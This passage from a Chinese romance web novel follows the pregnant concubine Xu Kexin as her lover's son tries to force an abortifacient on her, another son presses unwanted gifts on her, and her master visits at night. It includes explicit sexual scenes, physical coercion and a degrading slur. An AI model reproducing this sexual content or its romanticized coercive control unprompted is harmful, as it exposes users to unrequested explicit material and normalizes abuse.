他用力踹了一脚身旁的椅子,发泄怒气,才道,“我此番前来是为了告诉你,我已经寻了一处宅邸,你快些带你小妹搬过去,别留在府中碍眼……” 他话语不停,徐可心方要说自己不想离开,忽觉一阵恶心,没有征兆地俯身干呕,她捂着心口,脸色微微泛白。 林昭明面色一僵,下意识俯身,抬手抚着她的后背,咬牙道,“我是说了什么十恶不赦的话吗,让你恶心到想吐?” 徐可心不知怎么和他解释,慌乱摆手。 她恶心得厉害,干呕不停,林昭明倏然起身,看向一旁的小厮命他去叫郎中。 徐可心闻言,忙不迭扯住他的袖子,阻止道,“不必,不必去找郎中……” 可林昭明根本不理会她的话,只命小厮快些去。 府中下人谁不怕二公子,小厮领了命令,忙不迭跑了出去。 徐可心拗不过他,过了片刻,郎中匆匆赶到,想要为她诊脉,徐可心下意识躲闪,林昭明见状,直接扯过她的手臂,压到桌案上。 郎中连忙伸手,隔着白布抚上她的手臂。 他微微皱眉,良久无言,反复诊脉。 “她到底怎么了?”林昭明面色不耐,冷声催促。 郎中闻言,起身行礼,垂眼道,“恭喜姨娘,姨娘有喜了。” 话音刚落,林昭明的面色骤然一僵,顾不得徐可心,直接扯住郎中的衣襟,将他扯到自己面前,咬牙质问,“你再说一遍?” 郎中面色慌乱,忙不迭道,“回公子,四姨娘有喜了。” 恰巧此时,门外传来一阵匆忙的脚步声,钱管家推门走进,看向郎中不可置信道,“你说谁有喜了?” 徐可心坐在原地,见屋内众人神色各异,除了郎中以外,无一例外,都未露出喜色,好似无人期待这孩子的到来。 她紧抿着唇,攥紧衣袖,虽然早就料到自己怀有身孕,可亲耳听见,心弦还是不自觉绷紧。 她不知晓这是喜事还是坏事,但她真真切切怀有身孕,还是大人的孩子…… 第34章 徐可心抚着腹部,微微蜷缩身子,垂着眉眼盯着自己的肚子。 这里真得有了一个孩子…… 林昭明扯着郎中的衣领,无论如何质问,郎中都说姨娘有喜了。 林昭明气急,一把甩开他,冷声道,“开副堕胎药。” 话音刚落,徐可心霎时抬眸,“你说什么?” “难道你还要生下他?”林昭明盯着她的肚子,直白问。 这是她的孩子,她定然要生下,徐可心倏然起身,向后退了一步,慌乱道,“我怀的是大人的孩子,并非你林昭明的。” 孩子生下与否,也和他林昭明无关,他也不能决定这孩子的去留。 林昭明的面色骤然一沉,他上前一步,直接扯住徐可心的手臂将她拽到自己身前,眼睛喷火似的盯着她道,“你以为你怀了父亲的孩子,他就会在意这个孩子在意你?徐可心,三年过去了,你还不长记性?” “过去是我看不清,一直惦念你,但现在我已经成为大人的妾室,大人是否在意这个孩子,是我们之间的事,同二公子无关。” 不知是有了孩子,还是最近心弦一直绷紧,她忽得鼓起勇气,攥着衣服逐字逐句道,“况且我是他娘亲,我在意这个孩子。” 她隔着衣服抚着腹部,面色紧绷,“你过去不在意我,如今我已经不奢求你的喜欢,这个孩子和你没关系,你就算再嫌恶我,也不应把怒气牵连到他身上。” 林昭明站在原地,脸色愈发阴沉,攥着她手臂的手不断用力,好似要把她的骨头掐断一般。 徐可心疼得微微蹙眉,也不愿同过去那般再说一句软话。 林昭明还未入学堂时,每每受了委屈,都会偷偷跑到徐府找她,哭着说自己被人欺负了。 小孩哭得伤心,她也心疼林昭明,不断用软话哄着他,帮他擦眼泪,把人哄好了,又亲自把他送回林府。 她本以为林昭明受人欺负,可等她跑去问询时,旁人又告诉她,谁敢惹林二公子,分明是他把人打了。 一来二去,徐可心就知晓,这人时常跑到她这里装委屈讨关心,装得可怜,实则比谁都凶。 他现在已经不是孩子,徐可心也不想再哄着他,见林昭明眉眼阴鸷一副怒不可遏的模样,她只觉对方在无理取闹,不愿分神理会他。 两人谁也不愿让步,站在一旁的管家连忙看向一旁的丫鬟,命她给大人传讯,随后慌乱上前,拍着大腿劝解道,“公子,如今姨娘怀有身孕,受不得惊吓,我们有话好好说,你快放开她罢。” “这孩子是否留下,大人自会定夺,公子方考中解元,夫人那里想必也高兴的不得了,若知晓你跑来听雨阁,想必又会伤神。” 管家话语不停,站在徐可心身后,手臂抬在半空,虚虚揽着她的后背,生怕她有个什么闪失。 郎中站在不远处,垂着脑袋当鹌鹑,没有大人的命令,他哪里敢开堕胎药。 过了半晌,林昭明松开手,无声看了她半晌,转身离去。 屋内众人霎时松了一口气。 管家擦了擦额角的虚汗,命丫鬟扶她落座。 徐可心坐在桌前,才想起还不知晓管家为何上门,她面色不解,“不知钱管家前来所为何事?” 钱管家摸着脑袋,笑着说,“没什么事,就是快入冬了,小人问问姨娘院中可缺什么东西,小人也好派人为姨娘置办。” 临近入冬,的确缺了过冬的衣物和被子,徐可心不疑有他,一一细数,告诉了钱管家了。 钱管家记下后,又说了几句体己话,让她安心养胎,随后带着郎中快步离开。 钱管家知道她有喜,大人也会知晓,徐可心隐隐期待大人知晓她怀孕后的神情…… 正院。 林昭明刚从国子监回来,就跑到听雨阁,之后又带着满身戾气离府。 正院得了消息,忙派人去打听方才发生何事,为何二公子一脸怒气,好似被气到一般。 谁成想却得知徐姨娘怀有身孕,二公子还要打掉这个孩子。 供台前,大夫人站在佛前,持香而立,久久未插下。 丫鬟站在一旁,小心觑着她的面色,轻声提议,“夫人,这孩子也……”处理掉? 丫鬟话音一顿,剩下的半句话停在口中,未继续说下去。 良久未得到回应,过了半晌,大夫人才上前一步,将手中已燃烬大半的香插进香炉中,温声道,“不必。” 未料到夫人会放过这个孩子,丫鬟面色不解,却听她道,“留着这个孩子,也好让昭明断了念想。” “等生下来后,若是公子,再处理也不迟。” 丫鬟闻言微微颔首,上前一步,用手中的帕子擦掉落在供台上的香灰,擦得一尘不染后才退下。 听雨阁。 徐念安知晓她怀有身孕,眸子瞪得浑圆,小心地扶她坐下,盯着她的腹部,认真道,“我要当姨母了?” 徐可心笑了笑,说是。 徐念安蹲在她面前,趴在她腿上,仰头微微皱眉问,“生孩子会不会很疼?” 徐可心微微摇头,“阿姐也不知晓。” 母亲生念安时,她守在屋外,一门之隔,母亲的哭喊声从屋内传来,直到天明才堪堪停止,随后孩童的哭声随之响起。 母子平安。 念安刚生下时,脸皱巴巴的,过了几日才变得好看些,之后越长越漂亮。 徐可心抚着她的头发,希望腹中的孩子能同小妹一样聪慧漂亮。 钱管家白日离开后,她本以为大人很快会来见她,可直到天黑用过晚膳,那人也未来听雨阁。 她以为大人已经原谅她了,可好像只是她的揣测。 沐浴后,徐可心灭了烛火,躺在床上抚着腹部,想着明日要不要主动去书房见大人,告诉大人她怀有身孕的事情,她惦念此事,头昏昏沉沉的,没过多久睡了过去。 过了九月,天彻底冷了下来,只等落下一场雪,暮秋就结束了。 屋外寒风簌簌而过,好似枯叶飘零。 今夜她做梦了,梦里她被人拽到水边,又被人推了下去,湖水冰冷,顺着衣服空隙钻了进去,冰得她的腹部抽痛难耐,好似有水鬼在湖中拉扯她的衣服,冰冷的手指抓向她的腹部,想要掐死她腹中的孩子。 她想要挣脱逃跑,可双腿被水鬼抓住,无论如何都无法脱身,她愈挣扎,水鬼攥得越紧,将她拖向湖底。 她直觉自己快要窒息,骤然睁开眸子,惊魂未定地盯着前方,却猝不及防对上一双没有情绪的眸子。 “大人?”她轻声道。 话音刚落,徐可心忽觉腹部传来一阵凉意,她抬眸看去,却见男人坐在床边,一只手臂撑在她身侧,另外一只手顺着衣服缝隙伸了进去,微冷的掌心严丝合缝地贴在她的肚子上。 大人手上的力道素来很重,喜欢抚摸揉捏她的身子,但今夜他的掌心只覆在上面,微微按压,既没有爱抚,也没有粗暴的揉捏。 徐可心微微起身,犹豫半晌,才说了声凉。 对方的手太过冰冷,贴在她的肚子上很不舒服,若是过去也就算了,但现在她怀了孩子,不想让男人将手继续放在她的肚子上。 她说完,男人竟真得收回了手,还为她扯好被子。 借着月色,徐可心无声看了他半晌,见大人只坐在床边好似随时要离开一般,她忍不住轻声道,“大人,妾身怀孕了。” 她的声音很轻,但在秋夜里很清晰。 男人听完,眼底毫无波澜,好似并未听到她的话,亦或者并不在意她的话。 未曾想过对方会是这个反应,她心上莫名不满,扯着他的衣服坐起身,趴在他的后背上,伏在他耳边重复道,“大人,妾身怀孕了。” 男人垂着眉眼,良久才嗯了一声。 嗯是什么意思? 徐可心微微蹙眉,又膝行到他身前,对上他没有情绪的目光,攥着他的手腕,隔着衣服抚上她的腹部,“大人,妾身怀了……” 冰冷的掌心贴上腹部的一瞬间,徐可心话音一顿,怔愣地盯着坐在自己身前的男人,忽然明白大人方才为何摸她的肚子。 他已经知道了。 既然知道了,为何反应这么平淡,他们之间有了孩子,理应更亲昵才对。 徐可心这般想着,俯下身子靠在男人怀里,环住他的腰背,“大人,你为何看起来并不开心?”分明他说过,怀了便生下。 她伏在男人怀里,面上露出些许委屈。 月色透过窗纸落在她的面上,覆上一层浅淡的银光,衬得她的面容更加柔和,她的眉眼本就浅淡,在月光的笼罩下,好似不染尘埃的神女。 而此时神女伏在他怀中,微微蹙眉,眉眼带着几分埋怨,身上的神性又褪去几分。 林远舟垂着眉眼,无声注视怀中之人的面庞,良久后,才揽着她的腰,攥着她的肩膀,俯身吻上她的眉心。 徐可心虚虚靠在他怀里,眨着眼睛,盯着他的眸子。 男人的唇今夜也很冰,轻轻落在她的眉心,并不温热,透着几分冷意。 这人好似方从外面进来,还未过去多久,她就醒了。 男人在她脸上轻轻啄吻,从眉心到眼皮,再到耳垂…… 温热的呼吸打在耳边,徐可心微微瑟缩身子,下意识攥紧他的衣服。 好似察觉到她的紧张,男人淡淡瞥了她一眼,扶着她的后背将她放在床上,抬手抚上她的衣襟,修长冷白的手指轻轻拨弄,衣服霎时垂落到两侧,露出她雪白柔软的胸脯。 但男人的目光并未落在上面,而是无声注视她的腹部,再次抬手,将掌心覆了上去。 他掌心宽大,手指又格外修长,几乎笼罩了她整个腹部,力道算不得重,只是轻轻贴在上面,但存在感仍极为强烈,让人难以忽视。 呼吸不自觉放慢,垂在两侧的手微微蜷缩攥着被子,徐可心借着月色看向对方,却见他半阖眸子,眼底没有什么情绪。 就在她想要问对方在想什么时,男人忽然抬手,撑在她的身体两侧,俯下身子,将脸埋在她的腹部上。 高挺的鼻梁顶着她的肚皮,皮肉微微凹陷,温热的呼吸打在上面,徐可心身子一颤,不自觉弓起身子,蜷缩双腿,直接撞上男人结实的肩膀。 她身子一僵,紧张看去,却见男人仍埋首在她的腹部,好似并未在意。 冰冷薄凉的唇此时轻轻地贴着她的腹部,正当她想着,若是他能吻上来就好时,对方好似心有所感,忽然微微低头,直接吻上她的肚皮,细细啄吻。 微凉的唇贴着腹部,好似冰冷的蛇在上面爬动,缓慢缠绕,留下独属于他的痕迹。 大脑一片空白,她呼吸一滞,心跳得格外快,胸膛起伏不停,整个人的全部注意力都不自觉落在男人的吻上,浑身燥热难耐,几乎快要疯了。 第35章 男人埋首在她的小腹上,他的鼻骨很挺,压得她些许不舒服,但他的手臂又太过用力,让她根本无法挣脱。 徐可心扶着男人结实的肩膀,犹豫半晌后,环住他的脖颈,手指在他的发丝间穿插,缓慢按揉。 身前人明显一顿,过了良久缓慢起身,男人垂眸注视她,眸色黑沉,直白地盯着她。 他方才一直吻她的腹部,她的身子也早就酸软,眼下同他对视,身子复又起了反应。 她微微蜷缩双腿,迎着男人无声的打量,唤了一声大人。 声音很细很软,猫叫似的。 徐可心抚着他的脖颈,攥住他的衣襟,在他耳边轻语,大人是她的夫君,她不必在大人面前有所遮掩。 徐可心自认为已经说得足够直白,可男人好似未理解她话里的意思,依旧平静地看着她,眼底没什么情绪。 这人在床上素来不知节制,没道理不知道她话的意思,既然知道,但又不理会她,那就是装不知道,故意看她不好受。 思及此,徐可心微微蹙眉,眼底露出几分不满,拽着他的衣领想要把人扯到自己面前,可饶是她这般主动,对方依旧坐在床边,没有理会她的意思。 身子难受极了,这人又中途停下,几次示好也不理会她,徐可心彻底崩溃了,负气地趴在男人怀里,小声哽咽。 她算是看清了,这人分明和那日一样在戏弄她。 她埋首在男人怀里小声哭着,谁给她气受了似的,自己就把自己气到了。 林远舟揽着她的腰,任由她趴在自己怀里哭着,心绪却不在当下。 白日他本想将人送走,但未想到,管家回来告诉他,听雨阁那位刚被诊出身孕。 恰巧二公子也在,一直说要打掉。 他本以为自己并未在意此事,毕竟别的 女人也曾为他生过孩子,但不知为何,他在听到管家说,徐姨娘怀有身孕时,心中依旧浮现几分异样的情绪。 林远舟忘了自己当时是否用心权衡,只记得管家问他要不要把人送走时,他命人退下了。 这人连同她腹中的孩子,都是他的,若他不要徐可心,这人就无人依靠。 哪怕离了府邸,每日也只会想着他,惦念他,不会做旁的事情,好似为他活着的花苞一般,若不依附他,很快就会枯萎凋零。 现在这花苞怀有身孕,还是他的孩子。 整整一个下午,林远舟坐在书房里,都在想,为何徐可心会怀有身孕。 没人会怀下他的孩子,但他知晓,徐可心肚子里的孩子的确是他的。 他在书房坐了一整日,手执毛笔却未落下一字,待天色彻底黑下去,才扔下手中文书,去了听雨阁。 怀中哭声不停,林远舟揽着怀里人的腰腹,听着耳边的细碎的哭声,良久后才抚上她的膝盖。 徐可心埋首在男人怀里,正小声哭泣时,里裤忽得被扯到膝盖旁,双腿露在空气中,微微瑟缩。 哭声戛然而至,她抬眸看去,却见男人骨节分明的大手不紧不慢扯下她的里裤,修长的手指强硬地挤进她的双膝之间,分开她的双腿。 徐可心眸色微怔,直愣愣地盯着那只手,却见那只手不紧不慢上移,俨然有深入的征兆。 眼见快要覆上来时,她下意识夹紧双腿,拦住那只手。 徐可心攥着男人的衣服,抬眸看他,却见对方垂着眉眼,也在注视她。 四目对视,男人语气淡漠,“刚刚不是说想要?” 低低的声音在耳边响起,徐可心眸色一怔。 …… 过了半晌,男人用帕子不紧不慢擦干手指上的水渍,语气没有起伏道,“如今可心怀有身孕,往后还是戒欲为好。” 她刚泄了一回,自己的身子满足了,也未再注意身旁人说了什么,埋首在他怀里,含糊地嗯了一声。 徐可心趴在床上,双腿之间满是汗渍,黏腻不堪,她本想着这次同往日一样,等到天亮才能清洗身子,可男人忽得站起身,竟命下人送热水进来。 等跪在装着热水的木盆中时,徐可心眸色怔然,却见男人站在她面前,手中拿着干净的拭巾。 意识到对方要做什么,徐可心慌乱起身,“大人,妾身不是稚童了。”也不应让他帮自己清洗身子。 她方要离开,男人不紧不慢攥住她的脚腕,将她拽回木盆之中。 徐可心脚步不稳,整个人直接跌坐在热水中,扑通一声,水花四溅,她慌乱站起身,腿弯再次被攥紧。 “别动。”男人在身后低声命令。 徐可心站在木盆里,闻言身子霎时一僵。 林远舟单膝跪在木盆边,无限春色直接暴露在他面前,他抬眸淡淡瞥了一眼,却见情人垂着眉眼,面色慌乱地看着他,又羞又急,好似要哭出来一般,他扯着徐可心的手腕,又将人拽了回来。 过了半晌,徐可心趴在木盆边缘,枕着手臂面色涨红不敢回头看,直到整个人陷进柔软的锦被里,她也不敢相信,大人竟……为她擦洗身子。 她攥着被子,看向站在不远处更衣的男人。 但男人熄灭烛火,借着月色走至床前,将她抱在怀里,好似就要入睡。 徐可心枕着他的手臂,抬眼看着他的侧脸,犹豫良久,小声道,“大人……妾身帮你疏解可好?” 话音刚落,揽住她腰腹的手微微用力,男人的下巴枕着她的头顶,语气没有起伏道,“可心想要如何疏解?” 耳边的声音低而哑,透着几分疲倦,不似看起来那般清心寡欲。 徐可心话语一顿,环着男人的腰背,细细思索他的话,过了半晌,她微微起身,凑到男人耳边轻声低语几句。 男人抬眼,无声看着她,夜色中,两人无声对视良久,屋内昏暗无光,饶是如此,也无法遮掩男人眼底浓重的欲气。 心中莫名打起了退堂鼓,未等男人回答,徐可心又小心缩回身子,枕着男人的肩膀,阖上眼睛道,“天色已晚,妾身也累了,还是快些入寝罢。” 她话语不停,以此掩盖自己的心虚,好似方才什么也未说过一般。 黑暗中,男人意味不明地轻笑一声,倒也未拆穿她。 临近子时。 脸颊发麻,徐可心难受得哭了起来,她软着语气,握着男人的手臂恳求道,“大人,妾身好累。” 厚重的喘息声从头顶传来,在她想要爬走时,又握着她的腿弯将她拽了回来。 温热的胸膛贴上她的后背,男人俯下身,在她耳边轻声问,“不是可心说要帮我疏解吗?” 徐可心靠在他怀里,脸颊发烫涨红,彻底说不出话了。 临到入睡前,她只觉喉咙生疼,说不出一句话。 隔天醒来她的嗓子就哑了,舌头也疼得厉害。 丫鬟问她是不是受寒了,要不要去请郎中。 徐可心紧抿着唇,只说不必。 管家白日命人送来冬衣和几匹布,徐可心正想着裁剪布匹,为小妹缝制几件贴身的衣物时,丫鬟进门道,“姨娘,大公子上门求见。” 几乎瞬间,她手中的剪子掉落在地,那日夜里的事情再次在眼前浮现,徐可心慌乱起身,命丫鬟阖上门,让她告诉林怀瑾,她现在不在听雨阁。 丫鬟面色迟疑,“可姨娘……大公子正站在门外。” 话音刚落,沉稳的脚步声从门外传来。 男人身着朝服,抬步走进,站在桌案前,迎着徐可心畏惧的目光,温声唤了一声姨娘。 徐可心不知晓他今日为何前来,不断退后,直接躲在幕帘后,攥着布帘紧张地看着他,好似幼鼠看到猫一般,仓促躲起来。 林怀瑾站在不远处,面色平和,好似不知晓她为何惊恐不安一般,平静地望着她。 徐可心躲在幕帘后,思来想去,也不知晓长公子今日为何上门,她的眼底带着毫不掩饰的警惕,攥着布帘,小心问,“公子今日前来所为何事?” 徐可心真真切切地害怕他,过去怕他规训自己,说出什么礼义廉耻的话,现在又怕他做出什么出格的事情。 无所不用其极,只为赶她离开。 她分明已经留在自己院中,未去任何地方,已经尽力不和他碰面,为何这人还是找上门,这次甚至竟未得到准许,直接走了进来。 太无礼了。 好似看出她的抗拒和抵触,林怀瑾俯身行礼,温声道,“姨娘,怀瑾已经知晓怀有身孕一事,从今以后,怀瑾不会再劝姨娘离府。” “之前的事情是怀瑾的错处,怀瑾今日前来,一是为了祝贺姨娘有喜,二是为了向姨娘赔礼道歉。” 他言语诚恳,好似两人之间没有任何纠葛一般,随他一同前来的小厮捧着一个匣子走上前,放在桌案上。 知晓林怀瑾上门不是为了赶她走,徐可心犹豫半晌,挪着步子走了出来,小心道,“公子此话当真?” 林怀瑾站在不远处,抚着桌案上的匣子,闻言平声道,“怀瑾此番前来是真心想要求得姨娘的原谅。” 他面色平和,不似以往那般冷漠。 可不知为何,她的心还是格外抵触,不相信对方会轻易放过她,毕竟他这几次所做之事都太过出格,竟假借私奔的名头污蔑她。 她一直认为长公子端雅正直,值得信任,可那夜之后,徐可心也看不清这人了。 过去她认为长公子克己复礼,是个难得的清雅学士,受人敬畏,可现在……她只觉得这人心思深沉,是个道貌岸然的伪君子,并不似看起来那般光风霁月。 第36章 好似看出她面上的警惕,林怀瑾垂着眉眼,从上到下 依次打开匣子,整整三层两格都放满了金首饰,无一例外做工精良,出自名家之手。 未想过这人竟然又拿首饰做赔礼,徐可心刚要推辞,却见林怀瑾拿起一根未镶嵌珠玉的素金簪子,温声道,“姨娘,你若佩戴这根簪子,它便是一件首饰,但若拿去典当,它就是只是一件寻常金器。” 林怀瑾边说,边缓步向她走来,徐可心见状,慌乱退后,想同他远些,可她站在幕帘旁,没有去路,只能眼睁睁看着他走过来。 对方好似未察觉到她的抗拒一般,走至她面前,彻底将她逼至角落里,让她无处可走。 徐可心背靠墙壁,只觉心跳得厉害,方要提醒他注意分寸,却见林怀瑾忽然抬手。 她以为这人要亲手为她佩戴金簪,下意识侧过身子,“公子不可。” 话音刚落,对方的手悬在半空,并未将簪子插在她的头上,好似她在自作多情一般,徐可心面色微红,微微攥着手指,仍未接过他手中的簪子。 她猜不透大人的心思,也猜不到长公子在想什么,之前她看不清,被他温柔体贴的话语哄骗,收了他的东西,但现在无论如何都不能收下,不然只会惹火上身。 徐可心一直低垂眉眼,不敢同林怀瑾对视,可落在旁人眼中,不像畏惧,倒像是厌恶,仿佛他是什么洪水猛兽。 “姨娘,这匣金首饰是怀瑾的赔礼,还望姨娘收下。” 徐可心哪里敢收下他的赔礼,方要说不必,令他拿回去,却见他抬手,隔着袖子握住她的手臂,看似未用什么力气,却不可抗拒地扯过她的手,将簪子放到她手中。 徐可心面色慌乱一瞬,用力拽了拽,想要抽回自己的手,可对方用力极大,她根本无法挣脱。 林怀瑾拿着簪子,只将簪子放在她的手里,也不管她是否愿意收下,转身离开听雨阁。 徐可心望着桌案上的匣子,只觉格外棘手,正想要如何处置这匣金首饰时,却见传话的丫鬟站在一旁,目光同样落在上面。 徐可心眸色一怔,慌乱解释,“我并未收下长公子的赔礼。” 丫鬟俯身行礼,“四姨娘,奴婢先退下了。” 见她不应,徐可心攥紧簪子的手指用力,心上也生出几分怒气,快步上前,“你方才也看见了,我并未收下这匣首饰,是他执意要留下。” 她急声解释,可丫鬟只平静地看着她,四目对视,徐可心霎时泄了气。 知晓她不会听自己的话,徐可心放下手中的簪子,也无心在意丫鬟是否会把她告到大人那里,温声吩咐,“以后莫要唤我四姨娘,只称呼徐姨娘。” 于她而言,真正的四姨娘已经死了,她不想顶着已故之人的名头,况且旁人每每唤她四姨娘时,她都忍不住心生胆寒,想起春熙斋那位。 这次丫鬟没有置若罔闻,装作未听见,顺从地唤了一声徐姨娘,随后退了下去。 徐可心怕丫鬟把方才的一切告诉大人,内心格外忐忑,挪着步子走到桌前,脱力地坐了下来。 她盯着匣子里的金饰,正想着如何处理时,一个小厮快步走进,传唤道,“姨娘,二公子来了。” “林昭明?”徐可心眸子微怔,霎时站起身。 林怀瑾方离开听雨阁,林昭明就上门,徐可心紧抿着唇,只觉她的院子好似闹市一般,他们想来就来,想走就走,丝毫不在意她是否愿意见到他们。 推搡声在门外响起,徐可心站起身,却见林昭明大步走进屋内,好似方从国子监回来,身上穿着国子监的蓝衫。 几个小厮跟在他身后,其中一个小厮端着一碗汤药。 “你怎么来了?”徐可心微微蹙眉,不解地看着他。 “我为何不能来?” 林昭明瞥了她一眼,直接走到她方才的位置坐下,丝毫没有把自己当客人的心思,好似听雨阁是他的地盘,连带着她徐可心,也应听他差遣。 徐可心不敢招惹他,也不想同他过多纠缠,抬步就要向门外走去,可她方挪动半步,林昭明就头也不回地命令两个小厮关上门,让他们守在门外。 徐可心霎时意识到不对,推门想要离开,却被一把攥住手臂,他的五指极为用力,好似虎钳一般,攥得她骨头生疼。 徐可心拽着自己的手,慌乱道,“你要做什么?” “什么我要做什么?我还能欺负你不成?”林昭明扯着她的手臂,面色微沉,盯着她质问道。 徐可心警惕地望着他,根本未相信他的话。 林昭明面色一黑,咬牙道,“今日来没别的事情,把堕胎药喝了,我们之前的事情就两清,我不再计较你给我父亲当妾一事。” 知晓那汤药里装的是堕胎药,徐可以下意识抚上自己的腹部,蹙眉反问,“我给大人当妾与否,同你林二公子无关,况且我为何要得到你的原谅?我们早就不是未婚夫妻,婚丧嫁娶各凭几身,你又为何对我给大人当妾一事耿耿于怀?” “林昭明,我是你父亲的妾室,并非你的妾室,还望林二公子早日认清这点。” 之前未见到林昭明时,她对林昭明有怕有埋怨,可见过面之后,被他呵斥几次,那点残留在过去被她不断粉饰的记忆也开始变得格外难堪,令她无地自容。 她本就不喜欢林昭明的性情,之前喜欢他,可以连带他的缺点一起喜欢,只把他当未长大的少年。 她本以为他们之间还有些真情,可她在教坊司等了整整三年,未等到他接自己离开教坊司,甚至未见到他一面。 徐可心说不清自己心上对他还有多少喜欢,之前可能还留有些许执念,想要见他一面,期待重逢时,他脸上露出动容心疼的眼神,可直到现在,她也未等到林昭明的解释。 甚至林昭明还要意图打掉她的孩子。 她已经等了林昭明将近十年,她不想再等下一个十年,何况婚约已废,她也已经有了大人。 徐可心面色紧绷,眼底没有一丝柔意,只不解地看着他,好似他是什么无关紧要的人。 同她的目光对视,林昭明面色一怔,随即阴沉到极点。 “你心甘情愿当妾,是你下贱,但我不能容你生下林家的子嗣。” “你是他的妾室,你生下这个孩子,我又算什么?从今往后,我是该唤你姐姐,还是唤你庶母,徐可心,你对得起我吗?” 他压着眉眼间的戾气,一字一句质问道,分明是林昭明要逼她喝下堕胎药,可他控诉不停,好似他才是被伤害的人。 徐可心微微蹙眉,深呼一口气,努力平复心绪,尽力平静道,“林昭明,我的确不知道我哪里对不起你?” “是你亲自上门退婚,我求过你,但你根本不在意我,我之后的确想要去林家求你,可徐家之后发生什么事,你没道理不知晓。” “你我非亲非故,我既不是你姐姐,也不想当你的庶母,我只是大人的妾室,而你刚好是他的儿子。” 徐可心忍着心上的酸楚,向他陈述事实,可她每说一句,林昭明的面色就阴沉一分。 “你要留下这个孽种是吗?”他问。 “他是我的孩子,并非你口中的孽种,我定然要留下他。”徐可心微微蹙眉冷声反驳。 林昭明眉眼冷峻,只盯着她看,未再说一句。 两人无声对峙片刻,林昭明忽然抬手,直接钳着她的下颌,指腹压着她的脸颊,强迫她张开嘴,端起汤药抵在她的唇边,就要倒进她口中。 他的手指格外用力,疼得徐可心脸色发白,眼眶沁出些许泪,她连忙攥住他的手腕,想要挣脱他的手,可无济于事。 药汤落在她的唇上,徐可心面色紧绷,胡乱地推着他的肩膀,想要摆脱他的桎梏,可无论她如何用力,都无法推开他。 林昭明冷着眉眼,眼神冷漠至极,没有半分怜惜 之色,手指也格外用力,好似要捏碎她的下巴。 药碗边缘抵着她的唇,险些磕到她的牙齿,药汤飞溅,顺着她紧闭的唇滑下,濡湿她的衣衫。 徐可心本就害怕丫鬟跑去告诉大人长公子送她金饰一事,现在林昭明又直接上门,硬生生要喂给她堕胎药。 徐可心挣扎无果,跑又跑不出去,看着站在门前的男人,心上也生起几分郁气,抬手想要打翻他手中的药碗。 可林昭明先有所察觉,抬起手臂,徐可心未来得及收手,一巴掌直接落在林昭明的侧脸上。 啪的一声,屋内霎时陷入沉寂。 手心微微发麻,徐可心身子一僵,意识到自己做了什么后,慌乱收回手。 她未收力,身前人被打得微微偏头,冷白的脸颊上浮现一道清晰的红印。 林昭明僵在原地,沉默良久,才缓慢抬手抚上自己的侧脸,“你打我?” 他的眉眼透着不加掩饰的戾气,格外骇人,好似毒蛇一般,死死盯着她。 四目对视,徐可心垂在身侧的手止不住颤抖,她下意识将手背在身后,忙不迭解释,“昭明,我没有想打你,我真得没有想打你……” 她只是不想喝下堕胎药,想留下这个孩子,徐可心本想解释清楚,说出自己的苦衷和不忍,可对上林昭明愈发阴鸷的目光,她的声音越来越小,最后几近于无。 徐可心不知怎么为自己辩解,难言的无力感涌上心头,压得她几近窒息。 第37章 林昭明面色阴沉,眉眼透着戾气,直直盯着她,好似要将她生吞活剥一般。 她本就怀有身孕,身子格外不适,今日又被他们兄弟二人接连吓了两次,难言的委屈蔓延至心间,眼眶微微酸胀。 徐可心看着站在自己面前死死盯着她的男人,泪水倏地流下,终于忍不住哭了起来。 好似未料到她会突然哭,林昭明眸色一怔,随即紧拧着眉,冷声质问,“你哭什么?” 徐可心不理会他的质问,只低垂着头,用帕子擦拭眼泪。 “我问你,你哭什么?” 林昭明用力放下汤药,钳着她的下颌强迫她抬头,药碗撞在桌案上,砰的一声,药汤四溅。 徐可心也不想在他面前哭,可她实在害怕,被林昭明方才的神情吓到,只紧抿着唇,睁着一双泪眸看着他,好似受了天大的委屈。 林昭明面色阴沉,冷声提醒,“徐可心,方才是你打了我,不是我打了你。” 听到他的话,徐可心更难受了。 她根本没有想打他,分明是他非要逼自己喝药。 少时她一直照顾林昭明,偏心他,不曾在林昭明面前落下一滴泪。 哪怕被父亲斥责,也只会躲在房中独自哭泣,不会告诉小妹,更不会告诉林昭明,不想让他为自己伤神。 现在这人憎恶她,想必也不在乎她是否伤心难过,她也不想在林昭明面前收敛情绪,只紧抿着唇哽咽不停。 她垂着眉眼,不理会林昭明的话,任由他掐着她的下颌,站在那里哭着,泪水从眼眶溢出,顺着脸颊落至他的掌心。 林昭明眉头紧拧,冷言提醒,“徐可心,你已然不是少女,我也不会因你哭怜惜你,省省你的眼泪。” 他话语不留情,好似刀子一般戳在她的心上,缓慢凌迟。 徐可心不仅未止住泪,反而哭得更难过了,只自顾自道,“我伤心流泪与否,自有大人怜惜,为何非要讨你的喜欢?” 话音刚落,林昭明的面色彻底黑了下来,良久未再说一句话。 不知过了多久,他才面色不耐,拿出帕子竟为她擦拭脸颊上的泪,但手上的力气很重,疼得徐可心微微蹙眉,下意识偏过头,想要躲开他的手。 “现在这屋子里只有你我二人,我劝你安分些。”林昭明钳着她的下颌,强迫她回过头。 他话语冷漠,但手上动作放轻些许,不耐烦地为她擦拭脸上的泪痕。 他刚斥责自己,徐可心格外抵触他,用力推着他的胸膛,不想接受他施舍般的疼惜。 林远舟推门走进时,却见他的小儿子正为她的妾室擦拭眼泪,两人的姿势格外亲昵,好似抱在一起。 徐可心推着林昭明的胸膛,想要同他分开。 开门声在身后响起,林昭明忽然停下动作,越过她看向她的身后。 徐可心面色不解,趁他失神,用力推开他,林昭明没有防备,被她直接推开。 她转身就要向门外跑去,谁成想刚迈出半步,就直接撞进来人怀里。 她抚摸额头,熟悉的冷香扑面而来,她看着面前熟悉的朝服,眸色微怔,自下而上抬眼看去,却见男人负手而立,无声俯视她。 她微微惊呼一声大人,好似找到了主心骨,哽着嗓音,直接扑进男人怀里。 不管站在她身后的林昭明,徐可心扯着男人的衣服,埋首在男人颈侧哭了起来。 全身心依赖的模样与方才抗拒的姿态判若两人。 林昭明面色一凝,眉头紧皱盯着她的背影。 林远舟抬眸,语气淡漠,“你母亲今日邀沈夫人上门,商定你的婚事,沈家小姐如今也在府中。” “勿要让沈小姐等得太迟。” 林昭明垂在身侧的手紧攥成拳,闻言没有立刻离开,直言道,“父亲,她过去是教坊司的官妓,身子早已经被人玩烂了,如何能怀下父亲的子嗣?” 徐可心正埋首在男人怀里哭着,闻言霎时抬眸,睁着一双泪眸微微摇头,让他不要相信林昭明的话。 林远舟淡淡瞥了她一眼,抬手攥住她的肩膀,越过她看向不远处的林昭明,语气没有起伏道,“当年可心入教坊司,身不由己非她所愿,一切皆为过往,也不必再提起。” 